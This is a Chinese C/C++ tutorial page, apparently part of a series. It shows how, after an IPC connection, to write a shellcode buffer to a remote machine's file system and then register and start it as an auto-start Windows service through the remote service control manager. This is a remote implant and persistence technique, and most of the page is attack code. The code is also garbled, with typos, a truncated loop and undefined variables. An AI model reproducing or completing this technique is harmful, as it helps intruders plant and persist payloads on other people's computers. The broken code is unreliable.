AutoCAD 3DMAX C语言 Pro/E UG JAVA编程 PHP编程 Maya动画 Matlab应用 Android
Photoshop Word Excel flash VB编程 VC编程 Coreldraw SolidWorks A Designer Unity3D
 首页 > C++

C/C++建立IPC连接之后续操作

51自学网 http://www.wanshiok.com

  2、开始把程序写到主机上吧!

BOOL SendFile(char *RemotePathAndFile)
{
 HANDLE hRF;
 unsigned char ShellCode[]="write code here,such as /x90/x90";
 int WrittenSize=0;
 int Lenth=sizeof(ShellCode);
 hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
 CREATE_ALWAYS,
 FILE_ATTRIBUTE_NORMAL,
 NUL L);//建立文件
if (hRF==INVALID_HANDLE_values) return FALSE;
//写文件过程:
for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
return FALSE;
Printf("Send file succeed!/n");
}


  3、就要成功了,最后一步啦!--启动服务!

  步骤:a、启动服务控制管理器(SCM),获得以SCM_HANDLE为类型的hSCM句柄;

     b、建立服务(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

     c、启动服务(StartService)

     d、顺便提提:ControService可以控制服务的状态

     如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

       //停止服务

       ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

       //暂停服务

  请看下面代码:

BOOL InstallService(char * Target,char * ServiceName,char * Filename,)
{
SC_HANDLE hSCM=NULL,hSCS=NULL;
SERVICE_STATUS ServiceStatus;
hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS);
hSCS=CreateService(hSCM, //句柄
ServiceName,//服务开始名
ServiceName,//显示服务名
SERVICE_ALL_ACCESS,//服务访问类型
SERVICE_WIN32_OWN_PROCESS,//服务类型
SERVICE_AUTO_START,//自动启动服务
SERVICE_ERROR_IGNORE,//忽略错误
FileName,//启动的文件名
NULL,//name of load ordering group (载入组名)
NULL,//标签标识符
NULL,//相关性数组名
NULL,//帐户(当前)
NULL);//密码(当前)

if(StartServic(hSCS,
argc,//参数数
argv);//参数
{
 Sleep(30);//延时,开始启动服务
while(QueryServiceStatus(hSCS,&ServiceStatus)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
Sleep(30);
else break;
}
if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
return TRUE;
else FALSE;
}
}


  好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!

  注意:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!

 
 

上一篇:C++ 继承性应用实例—日期和时间  下一篇:C++中union的应用剖析